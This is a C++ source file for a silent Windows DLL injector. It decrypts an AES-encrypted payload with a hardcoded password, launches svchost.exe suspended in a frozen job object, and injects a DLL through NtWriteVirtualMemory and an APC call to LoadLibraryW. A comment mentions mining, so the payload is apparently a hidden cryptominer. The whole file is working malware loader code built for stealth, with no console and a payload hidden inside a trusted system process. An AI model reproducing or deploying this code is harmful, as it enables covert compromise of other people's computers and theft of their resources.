AES-Encrypter-Rust/windows_injector.cpp

273 lines
9.9 KiB
C++

// Windows-only AES-decrypting DLL injector
#include <windows.h>
#include <winternl.h>
#include <wincrypt.h>
#include <iostream>
#include <vector>
#include <string>
#include <cstring>
#include <cstdint>
// Read encrypted DLL payload data from files
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define JobObjectFreezeInformation 18
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
std::vector<uint8_t> readFile(const std::string& filename) {
HANDLE hFile = CreateFileA(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return std::vector<uint8_t>();
}
DWORD fileSize = GetFileSize(hFile, NULL);
std::vector<uint8_t> data(fileSize);
DWORD bytesRead;
ReadFile(hFile, data.data(), fileSize, &bytesRead, NULL);
CloseHandle(hFile);
return data;
}
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");
typedef struct _JOBOBJECT_FREEZE_INFORMATION {
union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; };
BOOLEAN Freeze;
BOOLEAN Swap;
UCHAR Reserved0[2];
struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter;
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;
// AES-CBC Decryption class for Windows
class AESDecryptor {
private:
std::vector<uint8_t> key;
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return false;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptReleaseContext(hProv, 0);
return false;
}
// Hash password
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return false;
}
// Hash salt
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return false;
}
DWORD hashLen = 32;
std::vector<uint8_t> hash(hashLen);
if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return false;
}
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
// Use first 16 bytes for AES-128
key.assign(hash.begin(), hash.begin() + 16);
return true;
}
public:
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
const std::vector<uint8_t>& iv,
const std::vector<uint8_t>& salt,
const std::string& password) {
if (!deriveKey(password, salt)) {
return std::vector<uint8_t>();
}
// Use CryptDeriveKey for decryption
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
HCRYPTKEY hKey = 0;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return std::vector<uint8_t>();
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
// Hash password
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
// Hash salt
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
CryptDestroyHash(hHash);
DWORD mode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
std::vector<uint8_t> plaintext(ciphertext.size());
DWORD dataLen = ciphertext.size();
memcpy(plaintext.data(), ciphertext.data(), dataLen);
if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return std::vector<uint8_t>();
}
plaintext.resize(dataLen);
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return plaintext;
}
};
// Embedded encrypted payload (generated by crypt tool)
// Embedded encrypted payload (generated by crypt tool)
// Data is included via header files
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
// FULLY SILENT — no console
// Read the encrypted DLL file
std::vector<uint8_t> data = readFile("encrypted_dll.dll");
if (data.size() < 52) {
return 1; // Invalid file
}
std::vector<uint8_t> salt(data.begin(), data.begin() + 32);
std::vector<uint8_t> iv(data.begin() + 32, data.begin() + 48);
uint32_t ciphertext_len = *reinterpret_cast<uint32_t*>(&data[48]);
std::vector<uint8_t> ciphertext(data.begin() + 52, data.begin() + 52 + ciphertext_len);
// Verify size
if (ciphertext.size() != ciphertext_len) {
return 1; // Invalid size
}
// Decrypt using hardcoded password (change this!)
AESDecryptor decryptor;
std::string password = "YourSecureMasterPassword123!";
std::vector<uint8_t> decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password);
// For testing: write decrypted DLL to file
HANDLE hFile = CreateFileA("decrypted.dll", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD bytesWritten;
WriteFile(hFile, decrypted_dll.data(), decrypted_dll.size(), &bytesWritten, NULL);
CloseHandle(hFile);
}
if (decrypted_dll.empty()) {
return 1; // Decryption failed - invalid password or corrupted data
}
// Windows: Use decrypted data as DLL path (wide string)
const wchar_t* dllPath;
if (decrypted_dll.size() >= sizeof(wchar_t)) {
dllPath = reinterpret_cast<const wchar_t*>(decrypted_dll.data());
} else {
// Fallback to hardcoded path if decryption gives unexpected result
dllPath = L"decrypted.dll";
}
SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
SIZE_T regionSize = dllPathLen;
HANDLE hJob = NULL;
NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL);
JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1;
freezeInfo.Freeze = TRUE;
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
STARTUPINFOEXW siEx = { sizeof(siEx) };
SIZE_T attrListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize);
UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL);
PROCESS_INFORMATION pi = { 0 };
CreateProcessW(
L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL, (STARTUPINFOW*)&siEx, &pi
);
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
PVOID remoteMemory = NULL;
NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);
NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL);
FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL);
// INSTANT UNFREEZE — no user input
freezeInfo.Freeze = FALSE;
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining)
CloseHandle(hJob);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}